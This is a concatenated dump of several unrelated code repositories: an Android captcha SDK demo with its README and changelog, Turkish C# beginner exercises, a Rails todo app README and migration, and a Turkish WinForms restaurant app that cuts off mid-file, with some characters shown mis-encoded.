langEnCb = findViewById(R.id.lang_en_cb);
alphaSeekbar = findViewById(R.id.alpha_seekbar);
widthSeekbar = findViewById(R.id.width_seekbar);
expiredSeekbar = findViewById(R.id.expired_seekbar);
widthSeekbarTv = findViewById(R.id.width_seekbar_tv);
alphaSeekbarTv = findViewById(R.id.alpha_seekbar_tv);
expiredSeekbarTv = findViewById(R.id.expired_seekbar_tv);
TextView versionTv = findViewById(R.id.version_tv);
versionTv.setText(QPCaptcha.getInstance().getSDKVersion());
alphaSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
alphaSeekbarTv.setText(String.valueOf(progress / 10f));
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
alphaSeekbar.setProgress(5);
widthSeekbar.setMax(MAX_PADDING);
widthSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
if (seekBar.getProgress() > MAX_PADDING) {
seekBar.setProgress(MAX_PADDING);
}
widthSeekbarTv.setText(String.valueOf(seekBar.getProgress()));
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
if (seekBar.getProgress() > MAX_PADDING) {
seekBar.setProgress(MAX_PADDING);
}
widthSeekbarTv.setText(String.valueOf(seekBar.getProgress()));
}
});
widthSeekbar.setProgress(16);
expiredSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
expiredSeekbarTv.setText(String.valueOf(progress));
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
expiredSeekbar.setProgress(30);
showLoadingCb.setChecked(true);
langEnCb.setChecked(false);
}
private static final String DEMO_APP_ID = "e73fee86d1f14075a08a501b196a256e";
public void startVerify(View view) {
QPCaptcha.getInstance().init(this, DEMO_APP_ID);
start();
}
public void startVerifyWithLangPack(View view) {
final View inputView = getLayoutInflater().inflate(R.layout.langpackmodel_input, null);
new AlertDialog.Builder(this)
.setTitle("่ชๅฎไนๅฝ้
ๅ่ฏญ่จ")
.setView(inputView)
.setPositiveButton("็กฎๅฎ", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
QPCaptcha.getInstance().init(MainActivity.this, DEMO_APP_ID);
langPackModel = new JSONObject();
try {
langPackModel.put("YPcaptcha_02", ((EditText) inputView.findViewById(R.id.YPcaptcha_02)).getText());
langPackModel.put("YPcaptcha_03", ((EditText) inputView.findViewById(R.id.YPcaptcha_03)).getText());
langPackModel.put("YPcaptcha_04", ((EditText) inputView.findViewById(R.id.YPcaptcha_04)).getText());
} catch (JSONException e) {
e.printStackTrace();
}
start(langPackModel);
}
}).show();
}
private void start() {
start(null);
}
private void start(JSONObject langPackModel) {
QPCaptchaConfig config = new QPCaptchaConfig.Builder(this)
.setUsername("่ฟ้ๆฏ็ป็ซฏ็จๆท่พๅ
ฅ็็จๆทๅ")
.setAlpha(alphaSeekbar.getProgress() / 10f)
.setPaddingDp(widthSeekbar.getProgress())
.setLangPackModel(langPackModel)
.showLoadingView(showLoadingCb.isChecked())
.setLang(langEnCb.isChecked() ? QPCaptchaConfig.LANG_EN : QPCaptchaConfig.LANG_ZH)
.setCallback(new QPCaptchaListener() {
@Override
public void onLoaded() {
Toast.makeText(MainActivity.this, "onLoaded", Toast.LENGTH_SHORT).show();
}
@Override
public void onSuccess(String msg) {
Toast.makeText(MainActivity.this, "onSuccess = " + msg, Toast.LENGTH_SHORT).show();
}
@Override
public void onFail(String msg) {
Toast.makeText(MainActivity.this, "onFail msg = " + msg, Toast.LENGTH_SHORT).show();
}
@Override
public void onError(String msg) {
Toast.makeText(MainActivity.this, "onError msg = " + msg, Toast.LENGTH_SHORT).show();
}
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
Toast.makeText(MainActivity.this, "onReceivedSslError", Toast.LENGTH_SHORT).show();
}
@Override
public void onCancel() {
Toast.makeText(MainActivity.this, "onCancel", Toast.LENGTH_SHORT).show();
}
})
.build();
QPCaptcha.getInstance().verify(config);
}
}
```
README.md
```# ไบ็ ่กไธบ้ช่ฏ Android SDK ๆฅๅ
ฅๆๅ
## SDK ้ๆ
### ๆๅจๅฏผๅ
ฅSDK
ๅฐ่ทๅ็ sdk ไธญ็ aar ๆไปถๆพๅฐๅทฅ็จไธญ็libsๆไปถๅคนไธ๏ผ็ถๅๅจ app ็ build.gradle ๆไปถไธญๅขๅ ๅฆไธไปฃ็
```
repositories {
flatDir {
dirs 'libs'
}
}
```
ๅจ dependencies ไพ่ตไธญๅขๅ ๅฏน aar ๅ
็ๅผ็จ
```
implementation(name: 'yunpian-captcha-v1.5.0', ext: 'aar') // aar ๅ็งฐๅ็ๆฌๅทไปฅๅฎ็ฝๆๆฐ็ไธบๅ
```
## ๅผๅงไฝฟ็จ
### ๅๅงๅ
ไฝฟ็จๅผๅ่
่ชๅทฑ็ captchaId ่ฟ่กๅๅงๅ SDK
```
QPCaptcha.getInstance().init(context, "captchaId");
```
### ๅๆฐ้
็ฝฎ๏ผๅฏ้๏ผ
```
QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt)
.setAlpha(0.7f) // ่งๅพ้ๆๅบฆ
.setLangPackModel() // ็้ข่ฏญ่จ้
็ฝฎ
.showLoadingView() // ๆฏๅฆๆพ็คบๅ ่ฝฝ
.setLang(langEnCb.isChecked() ? QPCaptchaConfig.LANG_EN : QPCaptchaConfig.LANG_ZH) // ่ฏญ่จ่ฎพ็ฝฎไธญๆๆ่
่ฑๆ๏ผ้ป่ฎคไธญๆ
.setCallback() // ่ฎพ็ฝฎๅ่ฐๆฅๅฃ
.build();
```
### ๅผๅง้ช่ฏ
```
QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt)
.setPaddingDp(16) // ่งๅพๅฎฝๅบฆ Padding
... // ๅผๅ่
ๆ นๆฎ้่ฆ่ช่ก้
็ฝฎๅๆฐ
.build();
QPCaptcha.getInstance().verify(config);
```
### ่ชๅฎไน่ฏญ่จๆพ็คบ๏ผๅฏ้๏ผ
SDK ้ป่ฎคๆฏๆไธญๆๅ่ฑๆ๏ผๅฆๆ้่ฆๆฏๆๅ
ถๅฎ่ฏญ่จ๏ผ้่ฆ่ชๅฎไน่ฏญ่จๆพ็คบ
```
JSONObject langPackModel = new JSONObject();
try {
langPackModel.put("YPcaptcha_02", "่ฏทๆ้กบๅบ็นๅป๏ผ");
langPackModel.put("YPcaptcha_03", "ๅๅณๆๅจๆปๅๅกซๅ
ๆผๅพ");
langPackModel.put("YPcaptcha_04", "้ช่ฏๅคฑ่ดฅ๏ผ่ฏท้่ฏ");
} catch (JSONException e) {
e.printStackTrace();
}
QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt)
...
.setLangPackModel(langPackModel) // ็้ข่ฏญ่จ้
็ฝฎ
...
.build();
QPCaptcha.getInstance().verify(config);
```
## ๆๆๆผ็คบ
### ๆปๅจๆผๅพ

### ๅพๆ ็น้

### ๆๅญ็น้

```
CHANGELOG.md
```Change Log
==========
Version 1.5.0 *(2021-06-18)*
----------------------------
- ๅ็บงSDK่ณv1.5.0
- ๅ
ผๅฎนAndroid 11
- ้ป่ฎคๆ ทๅผ่ฐๆด
- ๆฐๅข้ๅ ้ช่ฏไฟกๆฏ
Version 1.0.8 *(2020-09-16)*
----------------------------
- ๆฐๅข setPaddingDp ๆฅๅฃ๏ผๅบๅผ setWidth ๆฅๅฃ
Version 1.0.7 *(2020-07-29)*
----------------------------
- ไฟฎๅค ๅนณๆฟ่ฎพๅคไธๆฏๆๆปๅจ็้ฎ้ข
- ๆฐๅข SSL ้่ฏฏๅ่ฐ
Version 1.0.6 *(2020-02-12)*
----------------------------
- ไฟฎๅค ๅ็บง SDK ๅ๏ผ่ตๆบๆไปถ่ฟๆฏๆง็็้ฎ้ข
```
|
yunsmrek/KampIntro-yunsmrek
|
yunsmrek/KampIntro-yunsmrek
SepetManager.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Text;
namespace Metotlar
{
class SepetManager
{
//naming convention // syntax - yazฤฑm tipi
public void Ekle(Urun urun)//normal parantez metot รงalฤฑลฤฑyor demek / urun = parametre
{
Console.WriteLine("Tebrikler. Sepete Eklendi : "+ urun.Adi +" "+urun.StokAdedi+ " adet kaldฤฑ");
}
public void Ekle2(string urunAdi,string aciklama, double fiyat, int stokAdedi)
{
Console.WriteLine("Tebrikler. Sepete Eklendi : " + urunAdi+" " + stokAdedi + " adet kaldฤฑ");
}
}
}
```
Program.cs
```๏ปฟusing System;
namespace Quiz5
{
class Program
{
static void Main(string[] args)
{
string[] Names = new string[] { "Asibe", "Ahmet", "Hatice", "Yunus Emre", "Zeynep Sude"};
while (true)
{
Console.WriteLine("1-5 arasฤฑnda bir sayฤฑ giriniz");
int x = Convert.ToInt32(Console.ReadLine());
switch (x)
{
case 1:
Console.WriteLine(Names[0]);
break;
case 2:
Console.WriteLine(Names[1]);
break;
case 3:
Console.WriteLine(Names[2]);
break;
case 4:
Console.WriteLine(Names[3]);
break;
case 5:
Console.WriteLine(Names[4]);
break;
default:
Console.WriteLine("Girdiฤiniz veri 1-5 arasฤฑnda bir sayฤฑ deฤil !!!");
break;
}
}
}
}
}
```
Program.cs
```๏ปฟusing System;
namespace DegerVeReferansTipler
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
int sayi1 = 10;
int sayi2 = 30;
sayi1 = sayi2;
sayi2 = 65;
Console.WriteLine(Convert.ToString(sayi1));
//sayi1 = 30 olurdu anlฤฑk deฤer tuttuฤu iรงin
int[] sayilar1 = new int[] { 10, 20, 30 };
int[] sayilar2 = new int[] { 100, 200, 300 };
sayilar1 = sayilar2;
sayilar2[0] = 999;
Console.WriteLine(Convert.ToString(sayilar1[0]));
//sayilar1[0]=999 olur referans olarak saklandฤฑฤฤฑ iรงin
/*stack-heap olayฤฑndan dolayฤฑ
array class interface abstractlar ref tip olarak saklanฤฑr
stackta sayilar1 olur deฤerler heap te saklฤฑdฤฑr.
stack te heap in adresi saklanฤฑr.
ind double bool vb.(sayฤฑsal veri tipleri) deฤer tiplidir stack te kalฤฑr heap e yazฤฑlmaz.
heapteki deฤerler eฤer stackte bir adreste saklanmฤฑyorsa
Garbage collector heapteki deฤeri siler.
*/
}
}
}
```
Program.cs
```๏ปฟusing System;
namespace KampIntro
{
class Program
{
static void Main(string[] args)
{
// Don't repeat yourself!!
// type safety = tip gรผvenliฤi / deฤer tutucu - alias
double dolarDun = 7.45;
double dolarBugun = 7.45;
if (dolarDun>dolarBugun)
{
Console.WriteLine("Azalฤฑล oku");
}
else if (dolarDun<dolarBugun)
{
Console.WriteLine("Artฤฑล Oku");
}
else
{
Console.WriteLine("Deฤiลmedi Oku");
}
}
}
}
```
GercekMusteri.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Text;
namespace OOP2
{
//Gerรงek mรผลteride bir mรผลteridir
class GercekMusteri:Musteri//Individual(Bireysel) :Musteri inheritancedฤฑr
{
public string Adi { get; set; }
public string Soyadi { get; set; }
public string TcNo { get; set; }//matematiksel iลlem yapmฤฑyosan string
}
}
```
MyList.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Text;
namespace GenericsIntro
{
class MyList<T>//T tip int string class her ลey olabiliyor
{
T[] items;// classฤฑn iรงinde her yer eriลebilsin diye
public MyList()//ctor tab tab constructor bir class new lendiฤi zaman รงalฤฑลan blok a denir
{
items = new T[0];//otomatik รงalฤฑลฤฑyor
}
public void Add(T item)
{
T[] tempArray = items;//Geรงici bir diziye elemanlarฤฑ atฤฑyoruz
items = new T[items.Length+1];
for (int i = 0; i < tempArray.Length; i++)
{
items[i] = tempArray[i];
}
items[items.Length-1] = item;//0dan baลladฤฑฤฤฑ iรงin -1 yazฤฑyoruz
}
}
}
```
Program.cs
```๏ปฟusing System;
namespace Donguler
{
class Program
{
static void Main(string[] args)
{
string[] kurslar = new string[] { "Yazฤฑlฤฑm Geliลtirici Yetiลtirme Kampฤฑ",
"Programlamaya baลlangฤฑรง iรงin temel kurs","Java","Python","C#" };
/* array-dizi
tab tab = swipped - dรถngรผ iskeleti //for javada da aynฤฑ*/
for (int i = 0; i <kurslar.Length ; i++)
{
Console.WriteLine(kurslar[i]);
}
Console.WriteLine("Foreach e Geรงiyoruz");
foreach (string kurs in kurslar)//String class s si bรผyรผkse // dizi temlli yapฤฑlarฤฑ tek tek dรถnmeye yarฤฑyo foreach kodu
{
Console.WriteLine(kurs);
}
}
}
}
```
Program.cs
```๏ปฟusing System;
namespace HomeWork
{
class Program
{
static void Main(string[] args)
{
Products Urun1 = new Products();
Urun1.ProductCategory = "Makyaj";
Urun1.ProductType = "Ruj";
Urun1.ProductName = "Missha";
Products Urun2 = new Products();
Urun2.ProductCategory = "Elektronik";
Urun2.ProductType = "Cep Telefonu";
Urun2.ProductName = "Huawei Honor 7";
Products Urun3 = new Products();
Urun3.ProductCategory = "Ev&Mutfak Aletleri";
Urun3.ProductType = "Blender";
Urun3.ProductName = "Arzum Blender";
Products[] Urunler = new Products[] { Urun1, Urun2, Urun3 };
Console.WriteLine("Foreach ile");
foreach (Products Uruns in Urunler)
{
Console.WriteLine(Uruns.ProductCategory + "-" + Uruns.ProductType + "-" + Uruns.ProductName);
}
Console.WriteLine("For ile");
for (int i = 0; i < Urunler.Length; i++)
{
Console.WriteLine(Urunler[i].ProductCategory+ "*y" +Urunler[i].ProductType+ "*" +Urunler[i].ProductName);
}
Console.WriteLine("While ile");
int j = 0;
while (j<Urunler.Length)
{
Console.WriteLine(Urunler[j].ProductCategory + "*y" + Urunler[j].ProductType + "*" + Urunler[j].ProductName);
j++;
}
}
}
class Products
{
public string ProductName { get; set; }
public string ProductType { get; set; }
public string ProductCategory { get; set; }
}
}
```
Program.cs
```๏ปฟusing System;
namespace Metotlar
{
class Program
{
static void Main(string[] args)
{
Urun urun1 = new Urun(); //class ฤฑn รถrneฤi class olduฤu iรงin new yazman gerek
urun1.Adi = "Elma";
urun1.Fiyati = 15;
urun1.Aciklama = "Amasya Elmasฤฑ";
urun1.StokAdedi = 44;
Urun urun2 = new Urun();
urun2.Adi = "Karpuz";
urun2.Fiyati = 80;
urun2.Aciklama = "Diyarbakฤฑr Karpuzu";
urun2.StokAdedi = 11;
Urun[] urunler = new Urun[] { urun1, urun2 };
//type safe - tip gรผvenliฤi/ Urun yerine var da yazฤฑlsa oluyo
//cs=c#
foreach (Urun urun in urunler)
{
Console.WriteLine(urun.Adi);
Console.WriteLine(urun.Fiyati);
Console.WriteLine(urun.Aciklama);
Console.WriteLine("------------");
}
Console.WriteLine("----------Metotlar----------");
//instance - รถrnek
//encapsulation(kapsรผlleme) - koda ekleme yapฤฑnca kodun patlamasฤฑ
SepetManager sepetManager = new SepetManager();//class รถrneฤi
sepetManager.Ekle(urun1);//cw tab tab yap console writelineฤฑ yazar
sepetManager.Ekle(urun2);
sepetManager.Ekle2("Armut", "Yeลil Armut", 22,10);
sepetManager.Ekle2("Antep Fฤฑstฤฑฤฤฑ", "Gaziantep", 71,21);
sepetManager.Ekle2("Karpuz", "Diyarbakฤฑr Karpuzu", 42,61);
}
}
}
/* Don't Repeat Yourself - DRY - Clean Code - Best Practice=En iyi uygulama taktikleri
*/```
|
yuntongzhang/todo
|
yuntongzhang/todo
README.md
```# Todo
## Introduction
A To-do list created with Ruby on Rails, for CVWO 2018 holiday assignment.
### Name
Zhang Yuntong
### Matriculation Number
A0138021W
## Versions
* ruby 2.5.1
* rails 5.1.4
* boostrap-sass 3.7.7
## Deployment
This app is deployed on [heroku](https://cvwotodo.herokuapp.com/).
## Running the app in local environment
Clone this repo:
```shell
git clone https://github.com/yuntongzhang/Todo
```
Install all dependancies:
```shell
bundle install --path .bundle
```
Create database and run migration:
```shell
bundle exec rake db:setup
```
Start the local server:
```shell
bundle exec rails server
```
Now you can open this todo-list app in your browser [locally](http://localhost:3000/).
## Authentication
### Username and Password
* User name: cvwo2018
* Password: cvwo2018```
_task.json.jbuilder
```json.extract! task, :id, :task_name, :deadline, :details, :created_at, :updated_at, :category_id
json.url task_url(task, format: :json)
```
20180125055521_add_defalut_inbox_category.rb
```class AddDefalutInboxCategory < ActiveRecord::Migration[5.1]
# To setup default Inbox category when migrating
def change
Category.create :name => 'Inbox', :description => 'Default category'
end
end
```
category.rb
```class Category < ApplicationRecord
has_many :tasks, dependent: :destroy
validates :name, presence: true,
length: { minimum: 3 }
# Everytime after deleting a category, create the default Inbox when there is no more category,
# so that there is still a category for users to choose from
after_commit :create_default, on: :destroy
# create a default Inbox category
def create_default
unless Category.exists?
Category.create :name => 'Inbox', :description => 'Default category'
end
end
end```
|
yunusd/Restrand
|
yunusd/Restrand
Restrand.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Restrand
{
public partial class Restrand : Form
{
public Restrand()
{
InitializeComponent();
// Restrand veritabanฤฑnda ki MasaBilgileri tablosunu lstEklenenMasaya ekle
using(SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using (SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaBilgileri, conn))
{
SqlDataReader dr = selectCommand.ExecuteReader();
while (dr.Read())
{
MasaBilgileri data = new MasaBilgileri
{
masaKonumu = dr[2].ToString(),
sandalyeSayisi = (int)dr[3]
};
lstEklenenMasa.Items.Add(data);
}
}
}
}
private void Button1_Click(object sender, EventArgs e)
{
_ = new Masa().ShowDialog();
}
}
}
```
Randevu.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public class Randevu:Restaurant
{
public override int MasaSayisi()
{
throw new NotImplementedException();
}
public override int SandelyeSayisi()
{
throw new NotImplementedException();
}
public override string MasaKonumu()
{
throw new NotImplementedException();
}
public override object Menu()
{
throw new NotImplementedException();
}
public object MusteriBilgileri { get; set; }
private DateTime tarih;
public DateTime Tarih
{
get { return tarih; }
set { tarih = value; }
}
}
}```
Restrand.Designer.cs
```๏ปฟnamespace Restrand
{
partial class Restrand
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.btnMasaEkle = new System.Windows.Forms.Button();
this.btnUrunEkle = new System.Windows.Forms.Button();
this.btnRandevuBilgi = new System.Windows.Forms.Button();
this.lstEklenenMasa = new System.Windows.Forms.ListBox();
this.lstEklenenUrun = new System.Windows.Forms.ListBox();
this.lstEklenenRandevu = new System.Windows.Forms.ListBox();
this.SuspendLayout();
//
// btnMasaEkle
//
this.btnMasaEkle.Location = new System.Drawing.Point(202, 635);
this.btnMasaEkle.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.btnMasaEkle.Name = "btnMasaEkle";
this.btnMasaEkle.Size = new System.Drawing.Size(300, 106);
this.btnMasaEkle.TabIndex = 0;
this.btnMasaEkle.Text = "Masa Ekle";
this.btnMasaEkle.UseVisualStyleBackColor = true;
this.btnMasaEkle.Click += new System.EventHandler(this.Button1_Click);
//
// btnUrunEkle
//
this.btnUrunEkle.Location = new System.Drawing.Point(642, 635);
this.btnUrunEkle.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.btnUrunEkle.Name = "btnUrunEkle";
this.btnUrunEkle.Size = new System.Drawing.Size(300, 106);
this.btnUrunEkle.TabIndex = 1;
this.btnUrunEkle.Text = "รrรผn Ekle";
this.btnUrunEkle.UseVisualStyleBackColor = true;
//
// btnRandevuBilgi
//
this.btnRandevuBilgi.Location = new System.Drawing.Point(1062, 635);
this.btnRandevuBilgi.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.btnRandevuBilgi.Name = "btnRandevuBilgi";
this.btnRandevuBilgi.Size = new System.Drawing.Size(300, 106);
this.btnRandevuBilgi.TabIndex = 2;
this.btnRandevuBilgi.Text = "Randevu Bilgileri";
this.btnRandevuBilgi.UseVisualStyleBackColor = true;
//
// lstEklenenMasa
//
this.lstEklenenMasa.FormattingEnabled = true;
this.lstEklenenMasa.ItemHeight = 25;
this.lstEklenenMasa.Location = new System.Drawing.Point(202, 65);
this.lstEklenenMasa.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.lstEklenenMasa.Name = "lstEklenenMasa";
this.lstEklenenMasa.Size = new System.Drawing.Size(296, 554);
this.lstEklenenMasa.TabIndex = 3;
//
// lstEklenenUrun
//
this.lstEklenenUrun.FormattingEnabled = true;
this.lstEklenenUrun.ItemHeight = 25;
this.lstEklenenUrun.Location = new System.Drawing.Point(642, 65);
this.lstEklenenUrun.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.lstEklenenUrun.Name = "lstEklenenUrun";
this.lstEklenenUrun.Size = new System.Drawing.Size(296, 554);
this.lstEklenenUrun.TabIndex = 4;
//
// lstEklenenRandevu
//
this.lstEklenenRandevu.FormattingEnabled = true;
this.lstEklenenRandevu.ItemHeight = 25;
this.lstEklenenRandevu.Location = new System.Drawing.Point(1062, 65);
this.lstEklenenRandevu.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.lstEklenenRandevu.Name = "lstEklenenRandevu";
this.lstEklenenRandevu.Size = new System.Drawing.Size(296, 554);
this.lstEklenenRandevu.TabIndex = 5;
//
// Restrand
//
this.AutoScaleDimensions = new System.Drawing.SizeF(12F, 25F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(1600, 865);
this.Controls.Add(this.lstEklenenRandevu);
this.Controls.Add(this.lstEklenenUrun);
this.Controls.Add(this.lstEklenenMasa);
this.Controls.Add(this.btnRandevuBilgi);
this.Controls.Add(this.btnUrunEkle);
this.Controls.Add(this.btnMasaEkle);
this.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6);
this.Name = "Restrand";
this.Text = "Restrand";
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Button btnMasaEkle;
private System.Windows.Forms.Button btnUrunEkle;
private System.Windows.Forms.Button btnRandevuBilgi;
private System.Windows.Forms.ListBox lstEklenenUrun;
private System.Windows.Forms.ListBox lstEklenenRandevu;
public System.Windows.Forms.ListBox lstEklenenMasa;
}
}
```
AnaMenu.Designer.cs
```๏ปฟnamespace Restrand
{
partial class AnaMenu
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.iรงeceklerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.yฤฐYECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sOฤUKฤฐรECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sICAKฤฐรECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.gรNEBAลLARKENToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.tATLIKAHVALTILARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.aTIลTIRMALIKLARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sALATALARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.tATLILARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.aNAYEMEKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.kรYKAHVALTISIToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sERPMEKAHVALTIToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.iรงeceklerToolStripMenuItem,
this.yฤฐYECEKLERToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(1111, 38);
this.menuStrip1.TabIndex = 1;
this.menuStrip1.Text = "menuStrip1";
this.menuStrip1.ItemClicked += new System.Windows.Forms.ToolStripItemClickedEventHandler(this.MenuStrip1_ItemClicked);
//
// iรงeceklerToolStripMenuItem
//
this.iรงeceklerToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.sOฤUKฤฐรECEKLERToolStripMenuItem,
this.sICAKฤฐรECEKLERToolStripMenuItem});
this.iรงeceklerToolStripMenuItem.Name = "iรงeceklerToolStripMenuItem";
this.iรงeceklerToolStripMenuItem.Size = new System.Drawing.Size(125, 34);
this.iรงeceklerToolStripMenuItem.Text = "ฤฐรECEKLER";
this.iรงeceklerToolStripMenuItem.TextAlign = System.Drawing.ContentAlignment.TopLeft;
//
// yฤฐYECEKLERToolStripMenuItem
//
this.yฤฐYECEKLERToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.gรNEBAลLARKENToolStripMenuItem,
this.aTIลTIRMALIKLARToolStripMenuItem,
this.sALATALARToolStripMenuItem,
this.tATLILARToolStripMenuItem,
this.aNAYEMEKToolStripMenuItem});
this.yฤฐYECEKLERToolStripMenuItem.Name = "yฤฐYECEKLERToolStripMenuItem";
this.yฤฐYECEKLERToolStripMenuItem.Size = new System.Drawing.Size(136, 34);
this.yฤฐYECEKLERToolStripMenuItem.Text = "YฤฐYECEKLER";
//
// sOฤUKฤฐรECEKLERToolStripMenuItem
//
this.sOฤUKฤฐรECEKLERToolStripMenuItem.Name = "sOฤUKฤฐรECEKLERToolStripMenuItem";
this.sOฤUKฤฐรECEKLERToolStripMenuItem.Size = new System.Drawing.Size(259, 34);
this.sOฤUKฤฐรECEKLERToolStripMenuItem.Text = "SOฤUK ฤฐรECEKLER";
//
// sICAKฤฐรECEKLERToolStripMenuItem
//
this.sICAKฤฐรECEKLERToolStripMenuItem.Name = "sICAKฤฐรECEKLERToolStripMenuItem";
this.sICAKฤฐรECEKLERToolStripMenuItem.Size = new System.Drawing.Size(259, 34);
this.sICAKฤฐรECEKLERToolStripMenuItem.Text = "SICAK ฤฐรECEKLER";
//
// gรNEBAลLARKENToolStripMenuItem
//
this.gรNEBAลLARKENToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.tATLIKAHVALTILARToolStripMenuItem,
this.kรYKAHVALTISIToolStripMenuItem,
this.sERPMEKAHVALTIToolStripMenuItem});
this.gรNEBAลLARKENToolStripMenuItem.Name = "gรNEBAลLARKENToolStripMenuItem";
this.gรNEBAลLARKENToolStripMenuItem.Size = new System.Drawing.Size(261, 34);
this.gรNEBAลLARKENToolStripMenuItem.Text = "GรNE BAลLARKEN";
//
// tATLIKAHVALTILARToolStripMenuItem
//
this.tATLIKAHVALTILARToolStripMenuItem.Name = "tATLIKAHVALTILARToolStripMenuItem";
this.tATLIKAHVALTILARToolStripMenuItem.Size = new System.Drawing.Size(272, 34);
this.tATLIKAHVALTILARToolStripMenuItem.Text = "TATLI KAHVALTILAR";
//
// aTIลTIRMALIKLARToolStripMenuItem
//
this.aTIลTIRMALIKLARToolStripMenuItem.Name = "aTIลTIRMALIKLARToolStripMenuItem";
this.aTIลTIRMALIKLARToolStripMenuItem.Size = new System.Drawing.Size(261, 34);
this.aTIลTIRMALIKLARToolStripMenuItem.Text = "ATIลTIRMALIK";
//
// sALATALARToolStripMenuItem
//
this.sALATALARToolStripMenuItem.Name = "sALATALARToolStripMenuItem";
this.sALATALARToolStripMenuItem.Size = new System.Drawing.Size(261, 34);
this.sALATALARToolStripMenuItem.Text = "SALATA";
//
// tATLILARToolStripMenuItem
//
this.tATLILARToolStripMenuItem.Name = "tATLILARToolStripMenuItem";
this.tATLILARToolStripMenuItem.Size = new System.Drawing.Size(261, 34);
this.tATLILARToolStripMenuItem.Text = "TATLI";
//
// aNAYEMEKToolStripMenuItem
//
this.aNAYEMEKToolStripMenuItem.Name = "aNAYEMEKToolStripMenuItem";
this.aNAYEMEKToolStripMenuItem.Size = new System.Drawing.Size(261, 34);
this.aNAYEMEKToolStripMenuItem.Text = "ANA YEMEK";
//
// kรYKAHVALTISIToolStripMenuItem
//
this.kรYKAHVALTISIToolStripMenuItem.Name = "kรYKAHVALTISIToolStripMenuItem";
this.kรYKAHVALTISIToolStripMenuItem.Size = new System.Drawing.Size(272, 34);
this.kรYKAHVALTISIToolStripMenuItem.Text = "KรY KAHVALTISI";
//
